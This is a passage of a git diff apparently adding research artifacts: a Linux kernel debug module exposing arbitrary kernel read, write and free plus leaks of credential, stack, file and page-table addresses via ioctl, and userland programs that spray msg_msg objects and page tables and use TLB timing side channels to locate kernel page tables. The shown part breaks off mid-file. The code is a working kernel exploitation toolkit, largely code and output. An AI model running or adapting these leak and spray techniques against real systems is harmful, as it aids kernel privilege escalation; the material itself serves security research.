Cleanup + */ +static void lkm_cleanup(void) +{ + printk(KERN_INFO "lkm:cleanup\n"); + unregister_kprobe(&kp); + unregister_kprobe(&kp1); + unregister_kprobe(&kp2); + unregister_kprobe(&kp3); + unregister_kprobe(&kp4); + unregister_kprobe(&kp5); + unregister_kprobe(&kp6); + unregister_kprobe(&kp7); + unregister_kprobe(&kp8); + device_destroy(lkm_class, MKDEV(lkm_major, 0)); + class_unregister(lkm_class); + class_destroy(lkm_class); + unregister_chrdev(lkm_major, DEVICE_NAME); +} + +/* + * Close "/dev/lkm" + */ +int lkm_release(struct inode *inode, struct file *filep) +{ + printk(KERN_INFO "lkm:release\n"); + module_put(THIS_MODULE); + return 0; +} +EXPORT_SYMBOL(lkm_release); + +/* + * Open "/dev/lkm" + */ +int lkm_open(struct inode *inode, struct file *filp) +{ + printk(KERN_INFO "lkm:open\n"); + try_module_get(THIS_MODULE); + return 0; +} +EXPORT_SYMBOL(lkm_open); + +#pragma GCC push_options +#pragma GCC optimize ("O0") +void lkm_alloc(size_t id, size_t loc, size_t size) +{ + switch (loc) { + case 0: + objs[id] = kmalloc(size, GFP_KERNEL); + break; + case 1: + objs[id] = kmalloc(size, GFP_KERNEL); + break; + case 2: + objs[id] = kmalloc(size, GFP_KERNEL); + break; + case 3: + objs[id] = kmalloc(size, GFP_KERNEL); + break; + case 4: + objs[id] = kmalloc(size, GFP_KERNEL); + break; + case 5: + objs[id] = kmalloc(size, GFP_KERNEL); + break; + case 6: + objs[id] = kmalloc(size, GFP_KERNEL); + break; + case 7: + objs[id] = kmalloc(size, GFP_KERNEL); + break; + case 8: + objs[id] = kmalloc(size, GFP_KERNEL); + break; + case 9: + objs[id] = kmalloc(size, GFP_KERNEL); + break; + case 10: + objs[id] = kmalloc(size, GFP_KERNEL); + break; + case 11: + objs[id] = kmalloc(size, GFP_KERNEL); + break; + case 12: + objs[id] = kmalloc(size, GFP_KERNEL); + break; + case 13: + objs[id] = kmalloc(size, GFP_KERNEL); + break; + case 14: + objs[id] = kmalloc(size, GFP_KERNEL); + break; + case 15: + objs[id] = kmalloc(size, GFP_KERNEL); + break; + case 16: + objs[id] = kmalloc(size, GFP_KERNEL); + break; + case 17: + objs[id] = kmalloc(size, GFP_KERNEL); + break; + case 18: + objs[id] = kmalloc(size, GFP_KERNEL); + break; + case 19: + objs[id] = kmalloc(size, GFP_KERNEL); + break; + case 20: + objs[id] = kmalloc(size, GFP_KERNEL); + break; + case 21: + objs[id] = kmalloc(size, GFP_KERNEL); + break; + case 22: + objs[id] = kmalloc(size, GFP_KERNEL); + break; + case 23: + objs[id] = kmalloc(size, GFP_KERNEL); + break; + case 24: + objs[id] = kmalloc(size, GFP_KERNEL); + break; + case 25: + objs[id] = kmalloc(size, GFP_KERNEL); + break; + case 26: + objs[id] = kmalloc(size, GFP_KERNEL); + break; + case 27: + objs[id] = kmalloc(size, GFP_KERNEL); + break; + case 28: + objs[id] = kmalloc(size, GFP_KERNEL); + break; + case 29: + objs[id] = kmalloc(size, GFP_KERNEL); + break; + case 30: + objs[id] = kmalloc(size, GFP_KERNEL); + break; + case 31: + objs[id] = kmalloc(size, GFP_KERNEL); + break; + default: + printk(KERN_ERR "lkm:alloc: invalid loc\n"); + break; + } +} +#pragma GCC pop_options + +pte_t *page_walk_pte(size_t addr) +{ + unsigned long above = ((long)addr) >> __VIRTUAL_MASK_SHIFT; + pgd_t *pgd; + p4d_t *p4d; + pud_t *pud; + pmd_t *pmd; + pte_t *pte; + + if (above != 0 && above != -1UL) + return 0; + + pgd = pgd_offset_pgd(_init_top_pgt, addr); + if (pgd_none(*pgd)) + return 0; + + p4d = p4d_offset(pgd, addr); + if (!p4d_present(*p4d)) + return 0; + + pud = pud_offset(p4d, addr); + if (!pud_present(*pud)) + return 0; + + if (pud_large(*pud)) + return 0; + + pmd = pmd_offset(pud, addr); + if (!pmd_present(*pmd)) + return 0; + + if (pmd_large(*pmd)) + return 0; + + pte = pte_offset_kernel(pmd, addr); + if (pte_none(*pte)) + return 0; + + return pte; +} +pmd_t *page_walk_pmd(size_t addr) +{ + unsigned long above = ((long)addr) >> __VIRTUAL_MASK_SHIFT; + pgd_t *pgd; + p4d_t *p4d; + pud_t *pud; + pmd_t *pmd; + + if (above != 0 && above != -1UL) + return 0; + + pgd = pgd_offset_pgd(_init_top_pgt, addr); + if (pgd_none(*pgd)) + return 0; + + p4d = p4d_offset(pgd, addr); + if (!p4d_present(*p4d)) + return 0; + + pud = pud_offset(p4d, addr); + if (!pud_present(*pud)) + return 0; + + if (pud_large(*pud)) + return 0; + + pmd = pmd_offset(pud, addr); + if (!pmd_present(*pmd)) + return 0; + + return pmd; +} + +bool isLargePage(size_t addr) +{ + unsigned long above = ((long)addr) >> __VIRTUAL_MASK_SHIFT; + pgd_t *pgd; + p4d_t *p4d; + pud_t *pud; + pmd_t *pmd; + pte_t *pte; + + if (above != 0 && above != -1UL) + return 0; + + pgd = pgd_offset_pgd(_init_top_pgt, addr); + if (pgd_none(*pgd)) + return 0; + + p4d = p4d_offset(pgd, addr); + if (!p4d_present(*p4d)) + return 0; + + pud = pud_offset(p4d, addr); + if (!pud_present(*pud)) + return 0; + + if (pud_large(*pud)) + return 0; + + pmd = pmd_offset(pud, addr); + if (!pmd_present(*pmd)) + return 0; + + if (pmd_large(*pmd)) + return 1; + + pte = pte_offset_kernel(pmd, addr); + if (pte_none(*pte)) + return 0; + + return 0; +} + +void dpm_test(void) +{ + int max_large = 10; + size_t start = 0; + size_t end = 32ULL*1024ULL*1024ULL*1024ULL; + printk(KERN_INFO "lkm:dpm_test: physical mapping paddr [%016zx - %016zx] vaddr [%016zx - %016zx]\n", + start, end, (size_t)__va(start), (size_t)__va(end)); + size_t count = 0; + size_t paddr; + for (paddr = start; paddr < end; paddr += PMD_SIZE) { + size_t vaddr = (size_t)phys_to_virt(paddr); + pte_t *pte = page_walk_pte(vaddr); + if (pte) { + size_t diff = 0; + size_t writable = 0; + size_t pagecachedisabled = 0; + size_t global = 0; + size_t _paddr; + for (_paddr = paddr; _paddr < paddr + PMD_SIZE; _paddr += PAGE_SIZE) { + size_t vaddr = (size_t)phys_to_virt(_paddr); + pte_t *pte = page_walk_pte(vaddr); + if (!pte) { + // printk(KERN_DEBUG "lkm:dpm_test: vaddr %016zx pte 0\n", vaddr); + continue; + } + diff += !!((pte->pte & 0xfff) ^ 0x163); + writable += !!(pte->pte & _PAGE_RW); + pagecachedisabled += !!(pte->pte & _PAGE_PCD); + global += !!(pte->pte & _PAGE_GLOBAL); + // printk(KERN_DEBUG "lkm:dpm_test: vaddr %016zx pte %016zx\n", vaddr, pte->pte); + count++; + } + printk(KERN_DEBUG "lkm:dpm_test: vaddr %016zx with [%4zd diff] [%4zd wr] [%4zd pcd] [%4zd g]\n", vaddr, diff, writable, pagecachedisabled, global); + } + else if (max_large > 0 && isLargePage(vaddr)) + { + max_large--; + printk(KERN_DEBUG "lkm:dpm_test: 2MB: vaddr %016zx\n", vaddr); + } + } + printk(KERN_INFO "lkm:dpm_test: count/max %5zu/%zu\n", count, (end - start) / PAGE_SIZE); + + pmd_t *_text_pmd = page_walk_pmd(__text); + pmd_t *_end_pmd = page_walk_pmd(__end); + printk(KERN_INFO "lkm:dpm_text: _text %016zx\n", __text); + printk(KERN_INFO "lkm:dpm_text: _end %016zx\n", __end); + size_t _text_pa = (size_t)__va(_text_pmd->pmd & 0xfffffffff000); + size_t _end_pa = (size_t)__va(_end_pmd->pmd & 0xfffffffff000); + printk(KERN_INFO "lkm:dpm_text: _text_pa %016zx %s\n", _text_pa, isLargePage(_text_pa) ? "2MB page" : "4k page"); + printk(KERN_INFO "lkm:dpm_text: _end_pa %016zx %s\n", _end_pa, isLargePage(_end_pa) ? "2MB page" : "4k page"); +} + +void bpf_dpm_split(size_t size) +{ + void *obj; + pte_t *pte; + size_t vaddr; + + obj = module_alloc(size); + set_memory_rox((unsigned long)obj, size >> 12); + pte = page_walk_pte((unsigned long)obj); + vaddr = (size_t)phys_to_virt(pte->pte & 0xffffffffff000); + printk(KERN_INFO "obj %016zx vaddr %016zx\n", (unsigned long)obj, vaddr); +} + +struct msg_queue { + struct kern_ipc_perm q_perm; + time64_t q_stime; + time64_t q_rtime; + time64_t q_ctime; + unsigned long q_cbytes; + unsigned long q_qnum; + unsigned long q_qbytes; + struct pid *q_lspid; + struct pid *q_lrpid; + struct list_head q_messages; + struct list_head q_receivers; + struct list_head q_senders; +}; +#define IPC_MSG_IDS 1 +#define msg_ids(ns) ((ns)->ids[IPC_MSG_IDS]) +static unsigned long msg_copy_to_user(size_t msqid, size_t type) +{ + struct msg_queue *msq; + struct msg_msg *msg; + struct msg_msg *found = 0; + struct ipc_namespace *ns; + struct ipc_ids *ids; + rcu_read_lock(); + // printk(KERN_DEBUG "lkm:msg_copy_to_user: msqid %ld\n", msqid); + ns = current->nsproxy->ipc_ns; + // printk(KERN_DEBUG "lkm:msg_copy_to_user: ns %016zd\n", (unsigned long)ns); + ids = &msg_ids(ns); + // printk(KERN_DEBUG "lkm:msg_copy_to_user: ids %016zd\n", (unsigned long)ids); + msq = ipc_obtain_object_check(ids, msqid); + // printk(KERN_DEBUG "lkm:msg_copy_to_user: msq %016zd\n", (unsigned long)msq); + if (IS_ERR(msq)) + goto RETURN; + list_for_each_entry(msg, &msq->q_messages, m_list) { + if (msg->m_type == type) { + found = msg; + // printk(KERN_DEBUG "lkm:msg_copy_to_user: found %016zx\n", (unsigned long)found); + break; + } + } +RETURN: + rcu_read_unlock(); + return (unsigned long)found; +} + +#ifndef SLAB_BASE_ADDR +size_t SLAB_BASE_ADDR = 0; +#endif +#ifndef SLAB_END_ADDR +size_t SLAB_END_ADDR = 0; +#endif + +static int bad_address(void *p) +{ + unsigned long dummy; + return get_kernel_nofault(dummy, (unsigned long *)p); +} + +noinline void pagetable_walk(msg_t *msg) +{ + size_t address = msg->ptw.uaddr; + pgd_t *base = __va(read_cr3_pa()); + pgd_t *pgd = base + pgd_index(address); + p4d_t *p4d; + pud_t *pud; + pmd_t *pmd; + pte_t *pte; + + if (bad_address(pgd)) + goto out; + + // pr_info("PGD %lx ", pgd_val(*pgd)); + msg->ptw.pgde = pgd_val(*pgd); + if (!pgd_present(*pgd)) + goto out; + + p4d = p4d_offset(pgd, address); + if (bad_address(p4d)) + goto out; + + // pr_cont("P4D %lx ", p4d_val(*p4d)); + msg->ptw.p4de = p4d_val(*p4d); + if (!p4d_present(*p4d) || p4d_large(*p4d)) + goto out; + + pud = pud_offset(p4d, address); + if (bad_address(pud)) + goto out; + + // pr_cont("PUD %lx ", pud_val(*pud)); + msg->ptw.pude = pud_val(*pud); + if (!pud_present(*pud) || pud_large(*pud)) + goto out; + + pmd = pmd_offset(pud, address); + if (bad_address(pmd)) + goto out; + + // pr_cont("PMD %lx ", pmd_val(*pmd)); + msg->ptw.pmde = pmd_val(*pmd); + if (!pmd_present(*pmd) || pmd_large(*pmd)) + goto out; + + pte = pte_offset_kernel(pmd, address); + if (bad_address(pte)) + goto out; + + // pr_cont("PTE %lx", pte_val(*pte)); + msg->ptw.pte = pte_val(*pte); + +out: + // pr_cont("\n"); + return; +} + +/* + * ioctl code + */ +long lkm_ioctl(struct file *_, unsigned int num, long unsigned int param) +{ + int ret; + msg_t msg; + size_t *uaddr = 0; + size_t tmp = -1; + // void *dummy; + size_t id; + struct files_struct *files; + struct file *file; + struct fdtable *fdt; + struct pipe_inode_info *pipe; + unsigned int tail; + unsigned int head; + unsigned int mask; + + // printk(KERN_INFO "lkm:ioctl: start num 0x%08x param 0x%016lx\n", num, param); + + ret = copy_from_user((msg_t*)&msg, (msg_t*)param, sizeof(msg_t)); + if (ret < 0) { + printk(KERN_ERR "lkm:ioctl: copy_from_user failed\n"); + ret = -1; + goto RETURN; + } + + switch (num) { + + case LKM_ALLOC: + if (msg.al.id >= OBJS_SZ) { + printk(KERN_ERR "lkm:ioctl: index %zd too large\n", msg.al.id); + ret = -1; + goto RETURN; + } + if (msg.al.size > 4096) { + printk(KERN_ERR "lkm:ioctl: size %zd too big\n", msg.al.size); + ret = -1; + goto RETURN; + } + objs[msg.al.id] = kmalloc(msg.al.size, GFP_KERNEL); + break; + + case LKM_FREE: + if (msg.fr.id >= OBJS_SZ) { + printk(KERN_ERR "lkm:ioctl: %zd too large\n", msg.fr.id); + ret = -1; + goto RETURN; + } + kfree(objs[msg.fr.id]); + break; + + case LKM_WRITE: + // printk(KERN_INFO "lkm:ioctl: arbitrary write\n"); + *(size_t *)msg.wr.kaddr = msg.wr.value; + break; + + case LKM_READ: + // printk(KERN_INFO "lkm:ioctl: arbitrary read\n"); + tmp = *(size_t *)msg.rd.kaddr; + uaddr = (size_t *)msg.rd.uaddr; + goto COPY_TMP_TO_USER; + + case LKM_DPM_TEST: + dpm_test(); + break; + + case LKM_ACCESS_PRIMITIVE: + *(volatile size_t *)msg.ap.addr; + break; + + case LKM_BPF_DPM_SPLIT: + // printk(KERN_INFO "lkm:ioctl: bpf dpm split\n"); + bpf_dpm_split(msg.dpms.size); + break; + + case LKM_MSG_MSG_LEAK: + tmp = msg_copy_to_user(msg.mrd.msqid, msg.mrd.mtype); + uaddr = (size_t *)msg.mrd.uaddr; + // printk(KERN_DEBUG "lkm:ioctl: msg_msg leak %16zx\n", tmp); + goto COPY_TMP_TO_USER; + + case LKM_DPM_LEAK: + tmp = (size_t)__va(0); + uaddr = (size_t *)msg.drd.uaddr; + // printk(KERN_DEBUG "lkm:ioctl: dpm leak %16zx\n", tmp); + goto COPY_TMP_TO_USER; + + case LKM_VIRTUAL_BASE_LEAK: + tmp = (size_t)slub_addr_base; + uaddr = (size_t *)msg.drd.uaddr; + printk(KERN_INFO "lkm:ioctl: slub_addr_base %16zx within [%016zx %016zx]\n", tmp, SLAB_BASE_ADDR, SLAB_END_ADDR); + goto COPY_TMP_TO_USER; + + case LKM_SEQ_FILE_LEAK: + id = msg.frd.fd; + files = current->files; + + spin_lock(&files->file_lock); + fdt = files_fdtable(files); + file = fdt->fd[id]; + spin_unlock(&files->file_lock); + + tmp = (size_t)file->private_data; + // printk(KERN_INFO "lkm:ioctl: seq_file %016zx\n", tmp); + uaddr = (size_t *)msg.frd.uaddr; + goto COPY_TMP_TO_USER; + + case LKM_CRED_LEAK: + tmp = (size_t)current->real_cred; + uaddr = (size_t *)msg.drd.uaddr; + // printk(KERN_INFO "lkm:ioctl: current->cred %016zx\n", tmp); + goto COPY_TMP_TO_USER; + + case LKM_FILE_LEAK: + id = msg.frd.fd; + files = current->files; + + spin_lock(&files->file_lock); + fdt = files_fdtable(files); + tmp = (size_t)fdt->fd[id]; + spin_unlock(&files->file_lock); + + // printk(KERN_INFO "lkm:ioctl: file %016zx\n", tmp); + uaddr = (size_t *)msg.frd.uaddr; + goto COPY_TMP_TO_USER; + + case LKM_STACK_LEAK: + tmp = (size_t)current->stack; + uaddr = (size_t *)msg.drd.uaddr; + // printk(KERN_DEBUG "lkm:ioctl: current->stack %16zx with current %16zx within [%016zx %016zx]\n", tmp, (size_t)&dummy, VMALLOC_START, VMALLOC_END); + goto COPY_TMP_TO_USER; + + case LKM_CODE_LEAK: + tmp = (size_t)__text; + uaddr = (size_t *)msg.drd.uaddr; + goto COPY_TMP_TO_USER; + + case LKM_VMEMMAP_LEAK: + tmp = (size_t)vmemmap_base; + uaddr = (size_t *)msg.drd.uaddr; + goto COPY_TMP_TO_USER; + + case LKM_VMALLOC_BASE_LEAK: + tmp = (size_t)vmalloc_base; + uaddr = (size_t *)msg.drd.uaddr; + goto COPY_TMP_TO_USER; + + case LKM_ARB_FREE: + printk(KERN_DEBUG "lkm:ioctl: free %016zx\n", msg.af.kaddr); + kfree((void *)msg.af.kaddr); + break; + + case LKM_PIPE_BUFFER_LEAK: + id = msg.pbrd.fd; + files = current->files; + + spin_lock(&files->file_lock); + fdt = files_fdtable(files); + file = fdt->fd[id]; + spin_unlock(&files->file_lock); + + pipe = file->private_data; + tail = pipe->tail; + head = pipe->head; + mask = pipe->ring_size - 1; + if (msg.pbrd.rdend) + tmp = (size_t)&pipe->bufs[tail & mask]; + else + tmp = (size_t)&pipe->bufs[(head - 1) & mask]; + // printk(KERN_DEBUG "lkm:ioctl: pipe_buffer %016zx\n", tmp); + uaddr = (size_t *)msg.pbrd.uaddr; + goto COPY_TMP_TO_USER; + + case LKM_PAGETABLE_WALK: + printk(KERN_DEBUG "lkm:ioctl: page table walk\n"); + msg.ptw.pgde = 0; + msg.ptw.p4de = 0; + msg.ptw.pude = 0; + msg.ptw.pmde = 0; + msg.ptw.pte = 0; + pagetable_walk(&msg); + ret = copy_to_user((msg_t*)param, (msg_t*)&msg, sizeof(msg_t)); + if (ret < 0) { + printk(KERN_ALERT "lkm:ioctl: copy_to_user failed\n"); + ret = -1; + goto RETURN; + } + break; + + case LKM_IS_4KB: + ret = !isLargePage(msg.ap.addr); + // printk(KERN_DEBUG "lkm:ioctl: %016zx is %s page\n", msg.ap.addr, ret == 1 ? "4kB" : "2MB"); + return ret; + + default: + printk(KERN_ERR "lkm:ioctl: no valid num\n"); + ret = -1; + goto RETURN; + } + ret = 0; + goto DONE; + +COPY_TMP_TO_USER: + if(uaddr == 0) { // && "forgot to set uaddr"); + printk(KERN_ERR "lkm:ioctl: uaddr == 0\n"); + // ret = -1; + goto RETURN; + } + if (tmp == -1) { // && "forgot to set tmp"); + printk(KERN_ERR "lkm:ioctl: tmp == -1\n"); + // ret = -1; + goto RETURN; + } + // printk(KERN_INFO "lkm:ioctl: copy 0x%016zx to mem[0x%016zx]\n", tmp, (size_t)uaddr); + ret = copy_to_user(uaddr, &tmp, sizeof(size_t)); + if (ret < 0) { + printk(KERN_ERR "lkm:ioctl: copy_to_user failed\n"); + ret = -1; + goto RETURN; + } + ret = 0; + +DONE: + // printk(KERN_INFO "lkm:ioctl: done\n"); + +RETURN: + return ret; +} +EXPORT_SYMBOL(lkm_ioctl); + +module_init(lkm_init); +module_exit(lkm_cleanup); + +MODULE_LICENSE("GPL"); +MODULE_AUTHOR("Lukas Maar"); +MODULE_DESCRIPTION("LKM"); +MODULE_VERSION("0.1"); diff --git a/artifacts/page-table/Makefile b/artifacts/page-table/Makefile new file mode 100644 index 000000000..3ea64736e --- /dev/null +++ b/artifacts/page-table/Makefile @@ -0,0 +1,24 @@ +CC := gcc + +SOURCES := $(wildcard *.c) + +TARGETS := $(SOURCES:.c=.elf) + +CFLAGS += -g +CFLAGS += -O2 +CFLAGS += -static +CFLAGS += -Wall +CFLAGS += -Wextra +CFLAGS += -Wno-int-to-pointer-cast +CFLAGS += -Wno-pointer-to-int-cast +CFLAGS += -D_FILE_OFFSET_BITS=64 +CFLAGS += -I../include +CFLAGS += -pthread + +all: $(TARGETS) + +%.elf: %.c ../include/tlb_flush.h ../include/cacheutils.h ../include/ulkm.h ../include/utils.h ../include/coarse_grain_leak.h + $(CC) -D_FILE_OFFSET_BITS=64 $< $(CFLAGS) -o $@ + +clean: + rm -f *.elf diff --git a/artifacts/page-table/pmd_4k_leak.c b/artifacts/page-table/pmd_4k_leak.c new file mode 100644 index 000000000..7c62636d0 --- /dev/null +++ b/artifacts/page-table/pmd_4k_leak.c @@ -0,0 +1,266 @@ +#include "utils.h" +#include "cacheutils.h" +#include "tlb_flush.h" +#include "coarse_grain_leak.h" +#define DEBUG +#ifdef DEBUG +#include "ulkm.h" +#endif +#include "msg_msg.h" +#include +#include +#define IPPROTO_DCCP 33 +#define IPPROTO_SCTP 132 +#define IPPROTO_L2TP 115 +#define CAN_RAW 1 +#define CAN_BCM 2 +#define CAN_ISOTP 6 + +#define HIST_SIZE 60 +#define TRIES 40 + +#define PT_SPRAY (30) +#define PT_OTHER_SPRAY (10) +#define PAGE_SIZE (1<<12) +#define PMD_SIZE (1<<21) + +#define MSG_SIZE (256 - 48) +#define MSG_SPRAYS (1<<8)*32 +#define MSG_TYPE 0x41 + +#define IS_HIT(t, tn2, tn4, tn8) (((tn2) - (t)) >= (THRESHOLD2-THRESHOLD+2) || ((tn4) - (t)) >= (THRESHOLD2-THRESHOLD+2) || ((tn8) - (t) >= (THRESHOLD2-THRESHOLD+2))) + +int qids[MSG_SPRAYS]; + +void __hit_flush(void *uaddr, size_t addr, size_t tries, size_t *time, size_t *time_n, size_t *time_n4, size_t *time_n8, size_t print) +{ + size_t t; + size_t times[tries]; + size_t hist[HIST_SIZE] = {0}; + size_t times_n[tries]; + size_t hist_n[HIST_SIZE] = {0}; + size_t times_n4[tries]; + size_t hist_n4[HIST_SIZE] = {0}; + size_t times_n8[tries]; + size_t hist_n8[HIST_SIZE] = {0}; + /* leaking */ + for (size_t i = 0; i < tries; ++i) { + flush_tlb_targeted_4k(addr); + flush_tlb_targeted_4k(addr+PAGE_SIZE); + flush_tlb_targeted_4k(addr+PAGE_SIZE*4); + flush_tlb_targeted_4k(addr+PAGE_SIZE*8); + if (i % 2 == 0) + mprotect(uaddr, PAGE_SIZE, PROT_READ); + else + mprotect(uaddr, PAGE_SIZE, PROT_WRITE); + t = onlyreload(addr); + hist[MIN(t,HIST_SIZE-2)]++; + times[i] = t; + + t = onlyreload(addr+PAGE_SIZE); + times_n[i] = t; + hist_n[MIN(t,HIST_SIZE-2)]++; + + t = onlyreload(addr+PAGE_SIZE*4); + times_n4[i] = t; + hist_n4[MIN(t,HIST_SIZE-2)]++; + + t = onlyreload(addr+PAGE_SIZE*8); + times_n8[i] = t; + hist_n8[MIN(t,HIST_SIZE-2)]++; + } + qsort(times, tries, sizeof(size_t), comp); + qsort(times_n, tries, sizeof(size_t), comp); + qsort(times_n4, tries, sizeof(size_t), comp); + qsort(times_n8, tries, sizeof(size_t), comp); + for (size_t i = 20; i < HIST_SIZE && print; i += 2) + printf("% 4zd:\t %3zd %3zd %3zd %3zd\n", i, hist[i], hist_n[i], hist_n4[i], hist_n8[i]); + *time = times[tries/8]; + *time_n = times_n[tries/8]; + *time_n4 = times_n4[tries/8]; + *time_n8 = times_n8[tries/8]; +} +void hit_flush(void *uaddr, size_t addr, size_t tries, size_t *time, size_t *time_n, size_t *time_n4, size_t *time_n8) +{ + __hit_flush(uaddr, addr, tries, time, time_n, time_n4, time_n8, 0); +} +void hit_flush_print(void *uaddr, size_t addr, size_t tries, size_t *time, size_t *time_n, size_t *time_n4, size_t *time_n8) +{ + __hit_flush(uaddr, addr, tries, time, time_n, time_n4, time_n8, 1); +} + +int main(void) +{ + printf("[*] start\n"); + set_limit(); + setvbuf(stdout, NULL, _IONBF, 0); + setvbuf(stdin, NULL, _IONBF, 0); + setvbuf(stderr, NULL, _IONBF, 0); + pin_to_core(0); + + init_tlb_flush(); + get_total_memory(); + + static char buffer[0x1000] = {0}; + msg *message = (msg *)buffer; + message->mtype = MSG_TYPE; + + printf("[*] make queues\n"); + for (size_t i = 0; i < MSG_SPRAYS; ++i) + qids[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT); + + printf("[*] warmup and other alloc msg_msg structs\n"); + for (size_t i = 0; i < MSG_SPRAYS; ++i) + send_msg(qids[i], message, MSG_SIZE, 0); + + printf("[*] reserve mmappings\n"); + void *addresses[PT_SPRAY]; + for (size_t i = 0; i < PT_SPRAY; ++i) { + void *addr = (void *)((0x6dULL<<30) + (1ULL<<21)*i); + addresses[i] = mmap(addr, PAGE_SIZE, PROT_WRITE|PROT_READ, MAP_FIXED|MAP_ANON|MAP_PRIVATE, -1, 0); + // printf("[*] addresses[%ld] %0zx (%016zx)\n", i, (size_t)addresses[i], (size_t)addr); + if (addresses[i] == MAP_FAILED) { + perror("mmap()"); + exit(-1); + } + } + void *other_addresses[PT_OTHER_SPRAY]; + for (size_t i = 0; i < PT_OTHER_SPRAY; ++i) { + void *addr = (void *)((0x6fULL<<30) + (1ULL<<21)*i); + other_addresses[i] = mmap(addr, PAGE_SIZE, PROT_WRITE|PROT_READ, MAP_FIXED|MAP_ANON|MAP_PRIVATE, -1, 0); + // printf("[*] other_addresses[%ld] %0zx (%016zx)\n", i, (size_t)other_addresses[i], (size_t)addr); + if (other_addresses[i] == MAP_FAILED) { + perror("mmap()"); + exit(-1); + } + } + + printf("[*] load 1st half of kernel modules\n"); + int sock_fd; + sock_fd = socket(AF_INET, SOCK_DCCP, IPPROTO_DCCP); + if (sock_fd < 0) { + perror("socket(AF_INET, SOCK_DCCP, IPPROTO_DCCP)"); + exit(-1); + } + sock_fd = socket(SOCK_DGRAM, CAN_BCM, 0); + if (sock_fd < 0) { + perror("socket(SOCK_DGRAM, CAN_BCM, 0)"); + exit(-1); + } + sock_fd = socket(AF_VSOCK, SOCK_STREAM, 0); + if (sock_fd < 0) { + perror("socket(AF_VSOCK, SOCK_STREAM, 0)"); + exit(-1); + } + + /* hopefully allocate PUD of 4k mapping */ + for (size_t i = 0; i < PT_SPRAY; ++i) + *(volatile size_t *)addresses[i]; + for (size_t i = 0; i < PT_OTHER_SPRAY; ++i) + *(volatile size_t *)other_addresses[i]; + + printf("[*] load 2nd half of kernel modules\n"); + sock_fd = socket(AF_CAN, SOCK_DGRAM, CAN_ISOTP); + if (sock_fd < 0) { + perror("socket(AF_CAN, SOCK_DGRAM, CAN_ISOTP"); + exit(-1); + } + sock_fd = socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP); + if (sock_fd < 0) { + perror("socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP)"); + exit(-1); + } + sock_fd = socket(PF_INET, SOCK_DGRAM, IPPROTO_L2TP); + if (sock_fd < 0) { + perror("socket(PF_INET, SOCK_STREAM, IPPROTO_L2TP)"); + exit(-1); + } + + size_t time; + size_t time_n; + size_t time_n4; + size_t time_n8; + size_t dpm_base = dpm_leak(TRIES); + printf("[*] dpm_base: %016zx\n", dpm_base); + +#ifdef DEBUG + lkm_init(); + size_t real_dpm_base; + lkm_dpm_leak((size_t)&real_dpm_base); + if (real_dpm_base != dpm_base) { + printf("[!] wrong dpm base %016zx != %016zx\n", real_dpm_base, dpm_base); + exit(-1); + } + + size_t success = 0; + size_t cnt = 0; + + size_t pgde; + size_t pude; + size_t pmde; + size_t pte; + lkm_arb_pagetable_wald((size_t)addresses[0], &pgde, &pude, &pmde, &pte); + size_t pud = dpm_base + (pgde & ~(0xfff)); + size_t pmd = dpm_base + (pude & ~(0xfff)); + size_t pt = dpm_base + (pmde & ~(0xfff)); + printf("[*] %010zx %010zx %010zx\n", pud, pmd, pt); + size_t is_4kb = lkm_is_4kb(pmd); + printf("[*] %016zx is %s page\n", pmd, is_4kb ? "4kB" : "2MB"); + hit_flush_print(addresses[0], pmd, TRIES*10, &time, &time_n, &time_n4, &time_n8); +#endif + + for (size_t addr = dpm_base+(1ULL<<30); addr < dpm_base+mem_total_rounded; addr += PMD_SIZE) { + if ((addr % (1 << 30)) == 0) + printf("[*] addr %016zx\n", addr); + hit_flush(addresses[0], addr, TRIES/4, &time, &time_n, &time_n4, &time_n8); + if (time < THRESHOLD && time_n < THRESHOLD && time_n4 < THRESHOLD && time_n8 < THRESHOLD) + continue; + for (size_t addr4k = addr; addr4k < addr + PMD_SIZE; addr4k += PAGE_SIZE) { + if (addr4k == pmd) { + hit_flush_print(addresses[0], addr4k, TRIES, &time, &time_n, &time_n4, &time_n8); + printf("[*] times: %zd %zd %zd %zd\n", time, time_n, time_n4, time_n8); + } else + hit_flush(addresses[0], addr4k, TRIES, &time, &time_n, &time_n4, &time_n8); + size_t found = IS_HIT(time, time_n, time_n4, time_n8); + if (found) { + for (size_t i = 1; i < PT_SPRAY && found == 1; ++i) { + hit_flush(addresses[i], addr4k, TRIES, &time, &time_n, &time_n4, &time_n8); + found = IS_HIT(time, time_n, time_n4, time_n8); + } + for (size_t i = 1; i < PT_OTHER_SPRAY && found == 1; ++i) { + hit_flush(other_addresses[i], addr4k, TRIES, &time, &time_n, &time_n4, &time_n8); + found = !IS_HIT(time, time_n, time_n4, time_n8); + } + } + if (found) { +#ifdef DEBUG + cnt++; + success |= (addr4k == pmd); +#endif + printf("[+] found addr %016zx\n", addr4k); + } + + } + } + + printf("[*] cleanup\n"); + for (size_t i = 0; i < MSG_SPRAYS; ++i) + cleanup_queue(qids[i]); +#ifdef DEBUG + if (success == 1 && cnt == 1) + printf("[+] success\n"); + else if (!is_4kb) + printf("[!] 2MB page\n"); + else if (success == 1 && cnt > 1) + printf("[!] multiple addresses -> retry\n"); + else if (cnt == 0) + printf("[!] not found\n"); + else if (cnt == 1) + printf("[!] fail with one address\n"); + else + printf("[!] fail with multiple addresses\n"); +#else + printf("[*] done\n"); +#endif + return 0; +} diff --git a/artifacts/page-table/pt_4k_leak.c b/artifacts/page-table/pt_4k_leak.c new file mode 100644 index 000000000..49e993b98 --- /dev/null +++ b/artifacts/page-table/pt_4k_leak.c @@ -0,0 +1,262 @@ +#include "utils.h" +#include "cacheutils.h" +#include "tlb_flush.h" +#include "coarse_grain_leak.h" +#define DEBUG +#ifdef DEBUG +#include "ulkm.h" +#endif +#include "msg_msg.h" +#include +#include +#define IPPROTO_DCCP 33 +#define IPPROTO_SCTP 132 +#define IPPROTO_L2TP 115 +#define CAN_RAW 1 +#define CAN_BCM 2 +#define CAN_ISOTP 6 + +#define HIST_SIZE 60 +#define TRIES 40 + +#define PAGE_SPRAY (30) +#define PAGE_OTHER_SPRAY (10) +#define PAGE_SIZE (1<<12) +#define PMD_SIZE (1<<21) + +#define MSG_SIZE (256 - 48) +#define MSG_SPRAYS (1<<8)*32 +#define MSG_TYPE 0x41 + +#define IS_HIT(t, tn2, tn4, tn8) (((tn2) - (t)) >= (THRESHOLD2-THRESHOLD+2) || ((tn4) - (t)) >= (THRESHOLD2-THRESHOLD+2) || ((tn8) - (t) >= (THRESHOLD2-THRESHOLD+2))) + +int 